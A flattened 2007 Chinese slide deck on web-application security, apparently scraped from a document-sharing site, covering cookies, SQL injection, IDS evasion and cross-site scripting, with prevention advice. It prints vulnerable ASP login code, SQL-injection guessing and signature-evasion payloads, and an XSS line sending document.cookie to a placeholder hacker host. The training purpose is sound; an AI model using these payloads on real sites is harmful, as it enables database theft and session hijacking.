Web应用安全培训_第1页
Web应用安全培训_第2页
Web应用安全培训_第3页
Web应用安全培训_第4页
Web应用安全培训_第5页
已阅读5页,还剩77页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Web应用安全培训,2007-09-18ye_runguo叶润国,培训提纲,Web应用程序和应用安全概念SQL注入攻击与防范跨站脚本攻击与防范,第一部分Web应用程序及其安全概念,Web应用程序构建实例,Web浏览器(IE),Web服务器(IIS),HTTPRequest,HTTPResponse,MSSQLDB,TDS,Webapplication,Web应用程序:利用Web浏览器作为标准客户端,利用web服务器作为服务端,使用cgi程序处理用户的业务请求。常见的CGI有asp,php,jsp以及.net.一般将这些称为脚本语言。Web应用程序中的脚本语言分为两种:由Web服务端解释执行的脚本语言,如ASP,PHP,JSP等由标准Web客户端解释执行的脚本语言,如VBScript,Javascript,一个包含两种脚本语言的CGI程序,(xss/sample1.asp)SQLInjectionfunctionshowhello()alert(hello.howareyou?),Web页面的组成,Web页面为B/S三层结构中的呈现层,可由以下对象组成:文字、图像、表单和客户端脚本一个Web页面往往是由多个文件组成:主HTML文件其它HTML文件(分帧情况下)图像文件(多媒体文件)引入文件(脚本、CSS),Web应用安全,WebSecurityWeb会话和cookieServer-sidesecurityClient-sidesecurity,Web结构,client/server结构,属于瘦客户类型的Browser/Server,客户为浏览器,服务器为WebServer通常是多层(或三层)结构中的第一层在Web应用中,WebServer后面常常与数据库打交道B/S之间的通讯协议:HTTPHTTP位于TCP之上,默认的端口为80客户发出对页面的请求,服务器送回这些页面动态页面和静态页面Web页面的表述和交互能力各种标记、超链接,交互功能:表单、脚本交互能力的扩展:JavaApplet,ActiveX,Web安全性,协议本身的安全性支持身份认证:BasicAuthentication,DigestAccessAuthentication保密性:TLS(TransportLayerSecurity)实现上的安全性服务器端安全性Webpages的访问控制机制可用性:防止拒绝服务抵御各种网络攻击客户端安全性个人信息的保护、防止执行恶意代码WebProxyServer(Man-In-The-Middle),Web认证,BasicAuthenticationRFC2617口令直接明文传输隐患:sniffer、中间代理、假冒的服务器DigestAccessAuthenticationRFC2617Challenge-Response,不传输口令重放攻击、中间人攻击服务器端的口令管理策略TLS,基于PKI的认证单向或者双向的身份认证要求服务器提供证书,客户端证书可选同时也可以提供保密性服务一种双向认证模式单向TLS认证+客户提供名字/口令,招商银行信任卡登录页面,Web会话,从TCP到HTTP层缺少直接的会话层支持Web会话支持HTTP1.1增加了PersistentConnections支持,但是不能用于提供Web会话的功能目前使用的会话技术Cookie,用cookie作为permitticket用url记录会话用表单中的隐藏元素记录会话会话安全:劫持一个Web会话建立会话可能需要验证用户的信息认证一旦会话被劫持,则Web用户的安全性不复存在安全性涉及到客户如何提供会话建立所需要的信息,以及会话标识信息服务器如何管理会话,Cookie技术,Cookie通常是少量的与状态有关的信息,它是服务器保存在客户端的信息Cookie的动机客户在浏览多个页面的时候,提供事务(transaction)的功能,为服务器提供状态管理比如说,可以针对每个用户实现购物篮实现授权策略,客户不用为每个页面输入“用户名/口令”但是,实际上,cookie很容易被滥用在提供个性化服务的时候,往往要收集一些涉及隐私的信息每个cookie都有一定的URL范围客户发送这个范围内的URL请求都要提供这个cookie,Cookie规范,Set-cookie语法,在HTTP应答头中Set-Cookie:NAME=VALUE;expires=DATE;path=PATH;domain=DOMAIN_NAME;secure例如:Set-Cookie:CUSTOMER=WILE_E_COYOTE;path=/;expires=Wednesday,09-Nov-9923:12:40GMTCookie语法,在HTTP请求头中Cookie:NAME1=OPAQUE_STRING1;NAME2=OPAQUE_STRING2.例如:Cookie:CUSTOMER=WILE_E_COYOTE,利用cookie完成一个transaction,顾客名字,购物篮,购物方法,Cookie被滥用,Cookies中往往会记录一些涉及用户隐私的信息,比如用户的名字,email地址等如果客户关闭了cookie的功能,则许多网站的功能不能正常工作Cookie被滥用的一个例子DoubleClick公司案例利用cookie来收集个人的喜好为广告客户提供广告发布服务个人喜好信息不能被滥用有些国家规定这些信息不能被公开,或者被销售等,Web服务器端安全性,服务器发布信息,提供服务静态信息,各种HTML页面动态信息,利用脚本或者各种扩展引擎响应客户的请求,Web服务器端安全性,安全性目录安全性只有指定范围的文件才可以被访问例如,禁止URL中出现“.”Cgi文件的安全性,此目录禁止通过Web读写检查每一个cgi文件,不要保留有漏洞的cgi文件,特别是系统预装的一些cgi示例文件,这些文件往往为了说明功能,而忽略了安全性的考虑要求认证:由于协商的原因,要注意安全性最低的认证协议授权机制:保护好口令的安全存储,以及客户信息的保存日志:打开系统中对于Web服务的日志功能,以及Web服务的日志记录,针对WebServer的常见攻击,从Web服务中获取信息Web页面中的注解信息,或者一些扩展特性返回的应答头有时也会暴露信息针对WebServer的各种攻击手法CGI攻击(比如说IIS的UNICODE漏洞)缓冲区溢出输入验证攻击拒绝服务攻击跨站脚本攻击(XSS)SQL注入攻击(SQLIA),Web客户端的安全性,客户端安全性涉及到Cookie的设置,保护用户的隐私PKI设置,确定哪些是可信任的CA对可执行代码的限制,包括JavaApplet,ActiveXcontrol如果你的机器是多个人合用的,则Web页面的缓存区域,将会留下用户最近访问过的页面历史记录口令自动保存和提示,ActiveXcontrol的安全性,下载ActiveXcontrol通过数字签名来识别control的受信任程度验证数字签名,PKI中的可信任根CA安装和注册ActiveXcontrol已经在调用ActiveXcontrol的代码了它可以自己声明自己是安全的(操纵注册表)对象的初始化创建对象,并且对对象进行初始化,ActiveXcontrol是一个持久对象对象的脚本操作通过脚本调用对象的方法-ActiveDocument,脚本攻击技术,SQL注入技术跨站脚本攻击技术,第二部分SQL注入攻击介绍,SQL注入概念,EnglishTheabilitytoinjectSQLcommandsintothedatabaseenginethroughanexistingapplication中文利用现有应用程序不对输入数据进行过滤的缺陷,将恶意的SQL命令注入到后台数据库引擎执行,达到偷取数据甚至控制数据库服务器的目的.SQL注入攻击存在的根源:动态SQL语句惹的祸!基于Web的SQL注入攻击危害性最大拥有Internet访问权限的人都能够执行SQLIASQLIA可以穿透防火墙,轻松躲避现有IDS检测,SQL注入攻击例子-1,/JAVA中的动态SQL语句构造queryString=SELECTinfoFROMuserTableWHERElogin=+$login+ANDpin=+$pin+”;/JAVA中的动态SQL语句的提交执行ResultSettempSet=stmt.execute(queryString);,存在SQLIA的Checkpass.asp程序,Setconn=Server.CreateObject(ADODB.Connection)conn.opentestpubs,sa,123456SetSQLStmt=Server.CreateObject(ADODB.Command)SetRS=Server.CreateObject(ADODB.Recordset)Request_Method=Request.ServerVariables(REQUEST_METHOD)username=Request.Form(username)password=Request.Form(password)CMD=selectcount(*)fromuserswhereusername=+username+andpassword=+password+SQLStmt.CommandText=CommandStringSQLStmt.CommandType=1SetSQLStmt.ActiveConnection=ConnRS.OpenSQLStmtif(RS(0)0)thenResponse.write(用户登录成功,欢迎光临!)elseResponse.write(用户名未找到或密码错误)endifConn.Close;SetConn=Nothing,SQL注入攻击例子,NormalUsageUsersubmitslogin“xiaoye”andpin“123456”SELECTcount(*)FROMusersWHERElogin=xiaoyeANDpin=123456,MaliciousUsageAttackersubmits“xiaoye-”andpinof“0”SELECTcount(*)FROMusersWHERElogin=xiaoye-ANDpin=0,存在SQLIA的Checkpass1.asp,Setconn=Server.CreateObject(ADODB.Connection)conn.opentestpubs,sa,123456SetSQLStmt=Server.CreateObject(ADODB.Command)SetRS=Server.CreateObject(ADODB.Recordset)Request_Method=Request.ServerVariables(REQUEST_METHOD)username=Request.Form(username)password=Request.Form(password)CMD=selectuserser,passwordfromuserswhereusername=+username+andpassword=+password+SQLStmt.CommandText=CommandStringSQLStmt.CommandType=1SetSQLStmt.ActiveConnection=ConnRS.OpenSQLStmtif(RS(0)=usernameandRS(1)=password)thenResponse.write(用户登录成功,欢迎光临!)elseResponse.write(用户名未找到或密码错误)endifConn.CloseSetConn=Nothing,SQL注入漏洞的根源,后台数据库允许动态SQL语句的执行前端应用程序未对用户输入的数据或者页面中所携带的信息(如Cookie)进行必要的安全检查,SQL注入的危害,SQL注入攻击是威胁Web安全的三大攻击手段之一,存在SQL注入漏洞的Web站点被成功攻击之后,产生的后果将有可能是毁灭性即不可恢复的在不经授权的情况下操作数据库中的数据恶意篡改网页的内容私自添加操作系统帐号或数据库成员帐号网页挂马,SQL注入攻击的统计数据(Symantec),Web应用安全是目前危害最大的,包括SQL注入、跨站脚本攻击、恶意脚本等(数据来源:赛门铁克互联网安全威胁报告第九期:2006年3月),SQL注入攻击的统计数据(CVE),CVE公布的仅限于通用应用程序的SQL注入安全漏洞,大量的专用Web应用程序并未被统计。,SQL注入攻击的统计数据(OWASP),OWASPFoundation在2005年对客户PenTest发现:有60%的客户存在SQL注入威胁,基于Web的SQL注入攻击危害性最大拥有Internet访问权限的人都能够执行SQLIASQLIA可以穿透防火墙,轻松躲避现有IDS检测,SQL注入攻击危害,绕过Web应用程序验证过程通过Web偷数据和篡改数据执行存储过程、增加管理员帐号上传和下载文件安装木马、僵尸,控制整个数据库服务器很多很多,如何避免该类型SQLIA?很多程序员存在一个错误观念,认为只要过滤掉了用户输入数据中的就安全了!比如,把上面两行改为:username=replace(Request(“username”),)password=replace(Request(password),),用户输入数据的使用方式,用户输入数据在某类型动态SQL语句的使用方式由两种:文本域使用方式:即用户输入数据被当作文本类型数据使用,在构造动态SQL语句时,将在用户输入数据两边加上单引号。UPDATE类型动态SQL模板中的user域Cmd=“Updateemployeesetuser=”+username+”whereuid=“+uid这个模板将用户提交的user域数据看成为文本类数据,比如,如果从用户处获取的user域的值为xiaoye,则在该动态SQL模板中会在其两边分别加上单引号,从而变为xiaoye。数据域使用方式:即用户输入数据被当作数字类型数据使用,在构造动态SQL语句时,用户输入数据并不会被两个单引号包裹。上述UPDATE类型动态SQL模板中的uid域所对应的用户输入数据,如果从Cookie获取的SIDSALARY域的值为123,则在该动态SQL模板中使用时仍然为123。,数字域SQL注入攻击例子,先看一段很通用的文章读取的代码:文章编号:文章标题:文章发表时间:文章内容:,这里pid变量没有经过任何处理在SELECT模板中使用,导致了SQLIA漏洞产生下面是详细的注入攻击过程:1、猜解存储管理员帐户和密码的表段,提交:111and3=(selectcount(*)fromusers)2、猜解users表段中的字段,提交:111and00),利用数字域的SQLIA,3、猜解字段里面的内容,提交:and(selecttop1mid(username,1,1)fromusers)=a“通过以上方法继续猜解字段的内容就可以轻松得到管理员的帐户密码,从而登录到后台进行管理操作!,利用数字域的SQLIA,PHP脚本中的旁注功能,PHP脚本程序对变量的搜索顺序为:QueryString,Form,Cookie假设PHP代码把SQL注入中要用到的关键字和特殊符号都都过滤了,但是忽略了一个重要的参数获取方式:cookie!攻击者可以通过cookie提交包含SQL注入语句的参数一样可以达到目的!,Cookie注入漏洞的产生,GET/cgi-bin/getinfo.exe?uid=12345Channel=moviernrn,GET/cgi-bin/getinfo.exe?uname=xiaoyeHTTP/1.1rnACCEPT:image/gif,image/jpegrnACCEPT-Language:zh-cnrnACCEPT-Encoding:gzip,deflaternUser-Agent:mozilla/4.0rnHost:rnConnection:Keep-AlivernCookie:SID=123456-23455;uid=12345+or+1%3d1;Channel=moviernrn,使用NBSI2005工具进行SQL注入,演示,传统IDS对SQL注入攻击的检测方法,Signature-basedSQLInjectionDetection目前大部分宣称支持SQL注入检测的IDS/IPS产品都是基于特征的。比如,当检测到SELECT或者UNIONSELECT时,则认为发生了SQL注入攻击方法局限性误报率非常高,用户不能接受(annSELECTUPDATEkkk)给用户输入数据造成很多不便(比如username不能为SELECT)攻击特征容易被欺骗,导致漏报率非常高攻击特征躲避手法在后面举例,基于特征的SQL注入检测躲避方法举例,EvadingOR1=1signature编码欺骗空格躲避方式使用注释/*/和使用字符串连接方法使用变量varname,varname,IDSSignatureEvasion,EvadingOR1=1signatureORunusual=unusualORsomething=some+thingORtext=NtextORsomethinglikesome%OR21ORtexttORwhateverIN(whatever)OR2BETWEEN1AND3,采用字符函数来隐藏特殊字符,Injectwithoutquotes(string=%):orusernamelikechar(37);Injectwithoutquotes(string=root):unionselect*fromuserswherelogin=char(114)+char(111)+char(111)+char(116);,IDSSignatureEvasionusingwhitespaces,UNIONSELECTsignatureisdifferenttoUNIONSELECTTab,carriagereturn,linefeedorseveralwhitespacesmaybeusedDroppingspacesmightworkevenbetterOR1=1(withnospaces)iscorrectlyinterpretedbysomeofthefriendlierSQLdatabases,IDSSignatureEvasionusingcomments,SomeIDSarenottrickedbywhitespacesUsingcommentsisthebestalternative/*/isusedinSQL99todelimitmultirowcommentsUNION/*/SELECT/*/*/OR/*/1/*/=/*/1ThisalsoallowstospreadtheinjectionthroughmultiplefieldsUSERNAME:or1/*PASSWORD:*/=1-,IDSSignatureEvasionusingstringconcatenation,InMySQLitispossibletoseparateinstructionswithcommentsUNI/*/ONSEL/*/ECTOryoucanconcatenatetextanduseaDBspecificinstructiontoexecuteOracle;EXECUTEIMMEDIATESEL|ECTUS|ERMSSQL;EXEC(SEL+ECTUS+ER),IDSandInputValidationEvasionusingvariables,Yetanotherevasiontechniqueallowsforthedefinitionofvariables;declarexnvarchar(80);setx=NSEL+NECTUS+NER);EXEC(x)EXECSP_EXECUTESQLxOrevenusingahexvalue;declarexvarchar(80);setx=0 x73656c65637420404076657273696f6e;EXEC(x)Thisstatementusesnosinglequotes(),VenusSQL注入检测技术演示,启明星辰公司博士后小组在深入研究了SQL注入攻击机理之后,提出了一种不同于传统攻击特征检测的SQL注入攻击检测方法-VSID算法,已成功应用到天阗IPS产品中。天阗IPS产品基于VSID算法实现对SQL注入攻击企图的精确检测,并及时阻断本次SQL注入攻击事件,保障用户网络的安全。检测机理:基于状态机匹配的SQL注入攻击检测方法。,程序开发中如何防止SQL注入漏洞,对于来自用户输入的数据,在使用前一定要做严格的检测和过滤对于字符域数据,一定要过滤掉单引号字符对于数字域数据,一定要保证其格式为真正的数字形式的数据少使用动态SQL功能,能用静态SQL方式编程实现的,尽量使用静态SQL功能。Stringsql=“select*fromproductwherecat=?”;PreparedStatementpstmt=con.prepare(sql);pstmt.setString(1,request.getParameter(“cat”);ResultSetrs=pstmt.executeQuery();,第三部分跨站脚本攻击,什么是跨站脚本攻击?,跨站脚本攻击(CrossSiteScripting,简称为XSS)。指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。XSS攻击通常需要用到社会工程学。,社会工程学概念,社会工程学其实就是攻击者利用人性的弱点,使用诸如欺骗,伪造,冒充等手段获得想要的信息,从而进一步攻击的手段.如若使用恰当,往往能获得令人意想不到的结果.利用社会工程学的最好例子:网络钓鱼,XSS例子1,XSS例子1,XSS例子1,XSS例子2,varoWH=window.open(,width=275,height=175,top=200,left=250location=no,menubar=no,status=no,toolbar=no,scrollbars=no,resizable=no);oWH.document.write(“HTMLFORMwithPOSTrequesttohttp:/compromised-server/h4xor.php);,Cross-SiteScripting:ContentSpoofing,BrowserSecurity,Thesame-originmechanismisimplementedinbrowserstoseparatedataoriginatingindifferentdomains.Accesstoinformationthatoriginatesor“belongs”toaspecificdomainislimitedtoactivityrelatedtothatdomain.Therefore,JavaScriptoriginatingfromonedomain,canonlyaccessthedatarelatedtotheactivityofthatdomain,andthereforedoesnotallowtheftofsensitivedata.,XSS与SQLIA的相同点,XSS和SQLIA攻击中的攻击指令都是由黑客通过用户输入数据库注入,只不过XSS注入的是脚本,而SQLIA注入的是SQL命令XSS和SQLIA攻击都利用了Web服务器没有对用户输入数据进行严格的检查和有效过滤的缺陷。,XSS和SQLIA的区别,XSS注入的脚本在用户的Browser中执行,而SQLIA注入的SQL命令在Web的后台的数据库中执行。XSS攻击盗取Web终端用户的敏感数据,甚至控制用户的操作。SQLIA攻击盗取Web后台数据库中的敏感数据,甚至控制整个数据库服务器。,SQLIA攻击的执行过程,XSS攻击的执行方式-1,TrustedWebServer,WebpageAccess,Hacker,Store-basedXSSDemo,XSS攻击的执行方式-2,TrustedWebServer,WebpageAccess,Hacker,reflect-basedXSSDemo,EvilServer,WherecanfindXSS?,ForaWebbrowsertobecomeinfecteditmustvisitaWebpagecontainingJavaScriptmalware.ThereareseveralscenariosforhowJavaScriptmalwarecouldbecomeresidentonaWebpage.TheWebsiteownermayhavepurposefullyuploadedtheoffendingcode.TheWebpagemayhavebeendefacedusingavulnerabilityfromthenetworkoroperatingsystemlayerswithJavaScriptmalwareaspartofthepayload.ApermanentXSSvulnerabilitycouldhavebeenexploited,whereJavaScriptmalwarewasinjectedintoapublicareaofaWebsite.Avictimcouldhaveclickedonaspeciallycraftednon-persistentorDocumentObjectModel(DOM)-basedXSSlink.,Method1img.src=http:/hacker/%20+%20+document.url+document.cookie;,DOM-basedXSS,Welcome!Hivarpos=document.URL.indexOf(“name=”)+5;document.write(document.URL.substring(pos,document.URL.length);Welcometooursystem,XSS攻击举例子,BBS中例子BBS中的普通用户具有普通权限,只可以看帖子、发帖子、回复帖子。但不能删除别人发的帖子。BBS中的管理员帐户,可以删除普通用户帐号,可以删除帖子等特权操作。,普通用户上BBS的约束,看帖子无须登录发帖子和回复帖子需要登录最后有一个退出操作。,特权用户上BBS,看帖子无须登录发帖子和回复帖子需要登录在登录的情况下可以删除指定的帖子。,XSS攻击例子,盗取回帖人帐户名和密码演示如何利用XSS攻击漏洞使得普通用户能够执行特权用户的操作。,XSS高级攻击技术,突破注入域的长度限制利用URL中的#符号突破限制,通过伪造成jpg图像的javascript脚本,制造一个包含恶意JavaScript脚本的html文档将名字改为.jpg,然后将其发布到某一网站上。某一victim打开该图片后将执行该

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论